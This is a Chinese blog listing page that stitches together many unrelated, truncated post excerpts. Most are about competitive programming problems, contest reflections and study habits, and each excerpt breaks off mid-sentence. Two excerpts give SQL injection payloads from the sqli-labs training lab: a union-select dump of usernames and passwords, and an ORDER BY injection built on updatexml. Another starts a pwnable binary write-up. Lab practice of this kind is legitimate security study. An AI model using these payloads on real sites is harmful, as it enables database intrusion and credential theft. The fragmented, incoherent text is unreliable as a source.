湖应ACM程序设计竞赛总结 这也许是我专科最后一次参加算法竞赛？心里莫名有点惆怅.... 又是一次质疑我的学习策略的方法。 这次比赛我将从以下几个方面分析： 考试分析： 1.考场心态。 还算稳定，其实遇到了不少困难。学弟在旁边的打扰还有多次CE的经历，都让我很慌张。这次的比赛并没有延续
开始看的时候以为是个背包，看了一眼标签，发现没有背包两个字，觉得可能是漏加上去了，但背包死活想不出思路，看了眼题解，原来是 \(dp\) 加单调队列优化，然后开始看题解，看了大半天没看懂，照着题解的框架打了一遍才半懂，大致思路是用单调队列维护炉子里的和还没进炉子里的原料的顺序？然后发现照
算是正常发挥吧，前两题签得很顺利，C题卡了段时间 虽然很直接地想到了二分，但是check怎么写一开始稍微想偏了一些，其实思路跟很多题很像的，就是有三个子段需要枚举的时候，可以通过枚举中间的子段来O(n)代替枚举1，3子段的O(n^2)，然后check就写出来了 D题稍微想了下，只有一些比较初步的point，后
新的学习方法 本着对自己负责的心态，我打算试一试这个全新的学习方法，通过博客进行学习的全过程，各种学习方法进行全新的探索，这种学习方法将会是对我之前学习方法的一波全新的革新，这个全新探索的成果将会伴随我的终生并且随着年龄的增长而日趋完善。 通过公开博客的方式对自己的学习
题前碎语 转眼间就做了 300 道题了，所以用这道紫题充当我的 300th AC~ 话不多说直接开始吧~ 题目简介 洛谷传送门 CodeForces传送门 考虑到题目大意里的翻译可能有一些信息缺失，我们先把原题面看一遍。 题目描述 与 Grisha 的优异表现不同，尽管 Oleg 学了一整年，他还是没学会数论。因
蓝桥天梯结束了，怎么说呢，基本上发挥出来的，但争取争取说不定会更好，这个就不纠结了，这就属于是做题策略和平时的功夫没到位，随缘了，下面对自己简单的说一下： 补题：一定要补，学过的知识点一定要补，没学过的记在那边，简单的就补，难的就留着学到的时候写，一定要补题... 思考：自认为自己思维题还行，这
AGC036F - Square Constraints 给定 \(n\) ，问有多少个排列 \(0\sim 2n-1\) 的排列 \(\{p_i\}\) 满足： 对于 \(\forall i\in[0,2n-1]\)，有 \(n^2\le i^2+p_i^2\le (2n)^2\)。\(n\le 250\)。 view solution 真神仙题，核心转化： 问题中不合法以及合法的部分都是一段前缀，因此可以想到容
题前闲语 这周末就是省选了，甚至考场就在这个机房，可惜我并没有参加的机会。 唉，今年得好好努力了！ 题目简介 给出 \(N,p\)，求解方程 \[x^2 \equiv N(\bmod ~p) \]多组数据。 保证 \(p\) 是奇素数。 输入输出格式 输入格式 第一行一个整数 $T$ 表示数据组数。 接下来 \(T\) 行，每行两个
蓝桥骑士（最长递增子序列长度） 输入 6 1 4 2 2 5 6 输出：4 方法一：线性dp O(n^2) 1s运行时间 在1e5的数据量上会超时 #include <bits/stdc++.h> using namespace std; //最长递增子序列长度 O(n^2) int n; int a[300010],dp[300010]; int main() { int maxx=-
最近的思考：目前的生活和规划有没有一条主线？ 答案似乎是否定的。 两周了，然而我却感觉无所事事的时间已经很久了。 当一直没有生活的主线的时候，你要想想到底问题出在了哪里？ 健康的节奏是提高上来了，然而仍然感觉生活缺少主线和重心。 目前明确一点：我的主线依然是要回归到《软件设计师
想说的话 大家好
前言 貌似并不知道要说什么（？） 哦，对了，我谢谢你@陈二喜。 （一）P3358 最长 $k$ 重区间集问题 题意：给定 $n$ 个左闭右开的区间，从这些区间中选取一些区间，使得数轴上没有任何一个点被超过 $k$ 个区间包含，并使得区间覆盖长度最大。 题意没给 $l,r$ 范围，先离散化。 先找流量和费用。首
记录从2021.11.29开始的除 Acwing 例题以外有意思的题目记录 基础算法 位运算 AcWing 998. 起床困难综合症 （利用了位运算时，位与位之间运算相互独立特性） Codeforces1620C BA-String （进制转换） 排序算法 UVA11462 Age Sort (卡PE的大水题) P1068 [NOIP2009 普及组] 分数线划
ARC058C 发现 \(x+y+z\) 最多只有 \(17\) ，考虑状压，状态中第 \(i\) 位表示是否可以得到和为 \(i\) 的后缀。 注意一下每个位置是放 \(1\) ~ \(10\) 而非 \(0\) ~ \(9\) 。 ARC133D 区间异或和不好搞，差分一下设 \(w_i = XOR_{k=1}^i k\) 。 容易发现规律： \(w_{4x}=4x\) , \(w_{4x+1}
做题记录分类如下（借鉴了dX的分类标准 \(Beginner\)：过于简单因此没进备忘录的题 \(Easy\)：能在几分钟内秒掉或者一眼看出了做法的题 \(Medium\)：自己想出了正解或大部分思路的题，或一些正解不难但很有迷惑性的题。 \(Hard\)：自己只想到了个大方向或者束手无策的题 \(Insane\)：完全想不
偶然发现突然博客里东西太多了，现在还是创建一个目录去分类一下吧。 蒟蒻的做题记录 你踩过的坑们 一些比较有意思的tricks 你渴望力量么 剩下的一些例如题解什么的就不加入这里了。
这是一些基本语法 1 先用一些 ？id=1' or 1=1 # ？id=17' or 1=1 # 等确定他的数量 最后用函数的套用将所有数据链接一起显示 ?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+ 2 这个和第一题一样不过这个是去除
CF1608F MEX counting Links 题目链接 提交记录 官方题解 题解： 首先显然考虑 DP ，设计状态：有一维显然是 \(i\)，然后 \(k\) 表示当前的 mex 值 ，最后 \(j\) 表示已经选的数中 \(>k\) 的数的个数。 然后就是很神仙的转移，考虑从 \(i\) 转移到 \(i+1\)。 如果加入 \(a_i\) 对 mex 不产
用什么语言？ 第一遍用自己最熟悉的语言 我是用的C++，同时搭配LeetCode 101: A LeetCode Grinding Guide (C++ Version)，熟悉算法，理清思路，注意总结。第二遍第三遍可以用自己想要加强训练的语言（python，JS等） 按照什么顺序？ 我参考的是Google高畅分享的学习路线，如下。 怎样保证效果？
第一次接触我也是比较懵，看了大佬们的wp后理解了一些 使用scp命令可以从服务器下到本地方便调试 passcode.c #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("
ORDER BY 注入 Less-46: localhost/sqlilabs/Less-46/?sort=1 and (updatexml(1,concat(0x5e24,(substr((select+group_concat(username,0x7e,password)+from+security.users),1)),0x7e),1)) http://localhost/sqlilabs/Less-46/?sort=rand(ascii(mid((select%20group_conca
https://www.luogu.com.cn/problem/P1597 这道题刚开始没有读懂意思，直接以为是简单的数字赋值，但是没有考虑到b:=a这种情况，以至于后面思绪直接被打乱了（突然发现自己也是太菜），最后还是看了题解才整出来。感觉以后做题看懂题目很重要：读懂题目，想出大致思路，着手实现代码。 int mai
有一对兔子，从出生后第 3 个月起每个月都生一对兔子，小兔子长到第三个月后每个月又生一对兔子，假如兔子都不死，问第 n 个月的兔子对数为多少？ 这是做的一道练习题，刚看到题目时，也是想不出来方法，感觉学了这么就还是很菜，这就很难受，可能还是因为做题少了没有做题的感觉，遇到问题不知道
做题时花了较多时间，截了个图
项目介绍 24点游戏以面向对象的程序开发语言eclipse为开发工具, 基于智能手机Android之上的毕业设计。24点起源于中国古代的传统黑白棋种之一,它不仅能增强思维能力 提高智力,而且富含哲理,有助于修身养性。本系统是本系统中设定了人机对战和人人对战两种模式。人机对战实现
